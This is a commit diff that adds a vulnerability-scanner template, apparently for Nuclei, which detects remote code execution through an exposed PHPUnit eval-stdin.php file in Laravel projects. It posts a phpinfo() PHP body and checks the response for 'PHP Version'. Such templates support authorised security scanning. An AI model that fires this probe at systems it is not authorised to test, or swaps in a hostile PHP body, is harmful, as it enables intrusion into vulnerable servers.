Create laravel-phpunit-rce.yaml
parent
d50459eb9b
commit
3a72926d54
|
@ -0,0 +1,29 @@
|
|||
id: laravel-phpunit-rce
|
||||
|
||||
info:
|
||||
name: Laravel Phpunit RCE
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
reference: https://twitter.com/sec715/status/1411517028012158976
|
||||
tags: laravel,rce
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
|
||||
headers:
|
||||
Content-Type: text/html
|
||||
body: |
|
||||
<?php phpinfo();?>
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP Version"
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue